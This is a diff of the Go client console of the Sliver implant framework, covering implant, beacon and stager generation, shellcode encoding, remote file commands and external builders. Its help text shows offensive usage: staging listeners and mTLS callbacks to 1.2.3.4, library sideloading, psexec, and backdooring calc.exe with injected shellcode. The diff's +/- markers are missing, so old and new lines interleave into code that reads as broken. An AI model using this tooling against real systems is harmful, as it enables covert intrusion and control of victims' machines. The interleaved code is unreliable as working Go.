// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
@@ -60,38 +104,23 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, con)
PrintLs(ls, ctx.Flags, filter, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, con)
PrintLs(ls, ctx.Flags, filter, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -145,14 +174,29 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
-84
View File
@@ -1,84 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
-4
View File
@@ -64,10 +64,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+2 -16
View File
@@ -31,28 +31,14 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if save == "" {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, save, con)
} else {
externalBuild(config, save, con)
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+12 -24
View File
@@ -1,28 +1,12 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
@@ -69,12 +53,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badChars := ctx.Flags.String("badchars")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badChars) > 0 {
for _, b := range strings.Split(badChars, " ") {
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
@@ -111,12 +95,16 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if save != "" || format == "raw" {
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
+20 -285
View File
@@ -22,12 +22,14 @@ import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
"net"
"net/url"
"os"
"os/signal"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
@@ -35,11 +37,8 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -83,9 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
ErrNoExternalBuilder = errors.New("no external builders are available")
ErrNoValidBuilders = errors.New("no valid external builders for target")
)
// GenerateCmd - The main command used to generate implant binaries
@@ -98,24 +94,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if save == "" {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, save, con)
} else {
_, err := externalBuild(config, save, con)
if err != nil {
if err == ErrNoExternalBuilder {
con.PrintErrorf("There are no external builders currently connected to the server\n")
con.PrintErrorf("See 'builders' command for more information\n")
} else if err == ErrNoValidBuilders {
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
con.PrintErrorf("See 'builders' command for more information\n")
} else {
con.PrintErrorf("%s\n", err)
}
return
}
}
compile(config, save, con)
}
func expandPath(path string) string {
@@ -139,7 +118,7 @@ func saveLocation(save, DefaultName string) (string, error) {
if strings.HasSuffix(save, "/") {
log.Printf("%s is dir\n", save)
os.MkdirAll(save, 0700)
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
@@ -153,7 +132,7 @@ func saveLocation(save, DefaultName string) (string, error) {
log.Printf("%s does exist\n", save)
if fi.IsDir() {
log.Printf("%s is dir\n", save)
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -178,20 +157,22 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
return "Shared Library"
case clientpb.OutputFormat_SHELLCODE:
return "Shellcode"
default:
return "Unknown"
}
panic(fmt.Sprintf("Unknown format %v", value))
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags.String("name") != "" {
if ctx.Flags["name"] != nil {
name = strings.ToLower(ctx.Flags.String("name"))
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
}
}
@@ -271,14 +252,12 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
isSharedLib := false
isService := false
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -286,7 +265,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -304,10 +282,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
@@ -329,13 +303,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -345,13 +312,11 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
TemplateName: ctx.Flags.String("template"),
WGPeerTunIP: tunIP.String(),
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
@@ -361,14 +326,11 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
LimitLocale: limitLocale,
Format: configFormat,
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -432,9 +394,6 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -456,20 +415,17 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "wg://") {
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -502,10 +458,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -535,9 +487,6 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -554,9 +503,6 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
@@ -570,21 +516,6 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -617,9 +548,6 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
@@ -631,130 +559,6 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
}
var externalBuilder *clientpb.Builder
if len(potentialBuilders) == 1 {
externalBuilder = potentialBuilders[0]
} else {
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
if err != nil {
return nil, err
}
}
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
}
start := time.Now()
listenerID, listener := con.CreateEventListener()
waiting := true
spinner := spin.New()
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
signal.Notify(sigint, os.Interrupt)
con.PrintInfof("Creating external build ... ")
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
Config: config,
BuilderName: externalBuilder.Name,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
con.Printf("done\n")
var name string
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
for waiting {
select {
case <-time.After(100 * time.Millisecond):
elapsed := time.Since(start)
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
case event := <-listener:
switch event.EventType {
case consts.ExternalBuildFailedEvent:
parts := strings.SplitN(string(event.Data), ":", 2)
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
return nil, fmt.Errorf("external build failed: %s", parts[1])
}
case consts.AcknowledgeBuildEvent:
if string(event.Data) == externalImplantConfig.Config.ID {
msgF = "External build acknowledged by builder (template: %s) ... %s"
}
case consts.ExternalBuildCompletedEvent:
parts := strings.SplitN(string(event.Data), ":", 2)
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
name = parts[1]
waiting = false
}
}
case <-sigint:
waiting = false
con.Printf("\n")
return nil, fmt.Errorf("user interrupt")
}
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: name,
})
if err != nil {
return nil, err
}
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
}
con.PrintInfof("Implant saved to %s\n", saveTo)
return nil, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
@@ -782,41 +586,20 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, err
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
end := time.Now()
elapsed := time.Time{}.Add(end.Sub(start))
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
if len(generated.File.Data) == 0 {
con.PrintErrorf("Build failed, no file data\n")
return nil, errors.New("no file data")
}
fileData := generated.File.Data
if config.IsShellcode {
confirm := false
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
if confirm {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, fileData, 0700)
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -842,9 +625,6 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
if config.LimitLocale != "" {
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
}
return strings.Join(limits, "; ")
}
@@ -906,48 +686,3 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
survey.AskOne(prompt, &confirm, nil)
return confirm
}
func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(builders.Builders) < 1 {
return []*clientpb.Builder{}, ErrNoExternalBuilder
}
validBuilders := []*clientpb.Builder{}
for _, builder := range builders.Builders {
for _, target := range builder.Targets {
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
validBuilders = append(validBuilders, builder)
break
}
}
}
if len(validBuilders) < 1 {
return []*clientpb.Builder{}, ErrNoValidBuilders
}
return validBuilders, nil
}
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
choices := []string{}
for _, builder := range builders {
choices = append(choices, builder.Name)
}
choice := ""
prompt := &survey.Select{
Message: "Select an external builder:",
Options: choices,
}
survey.AskOne(prompt, &choice, nil)
for _, builder := range builders {
if builder.Name == choice {
return builder, nil
}
}
return nil, ErrNoValidBuilders
}
+2 -7
View File
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
implantBuildFilters := ImplantBuildFilter{}
implantBuildfilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
@@ -65,7 +65,6 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
tw.AppendHeader(table.Row{
"Name",
"Implant Type",
"Template",
"OS/Arch",
"Format",
"Command & Control",
@@ -104,13 +103,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
if config.TemplateName == "" {
config.TemplateName = "sliver"
}
tw.AppendRow(table.Row{
sliverName,
implantType,
config.TemplateName,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
config.Format,
strings.Join(c2URLs, "\n"),
+2 -1
View File
@@ -20,6 +20,7 @@ package generate
import (
"context"
"io/ioutil"
"os"
"github.com/bishopfox/sliver/client/console"
@@ -50,7 +51,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to %s\n", err)
return
-4
View File
@@ -100,10 +100,6 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+10 -54
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.AliasesStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -103,11 +103,6 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
// Builders
consts.BuildersStr: buildersHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -209,10 +204,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -284,26 +279,7 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Downloads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
@@ -370,8 +346,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
sideload -p /bin/bash /tmp/mylib.so
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
[[.Bold]]Remarks:[[.Normal]]
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
@@ -395,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -467,7 +443,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
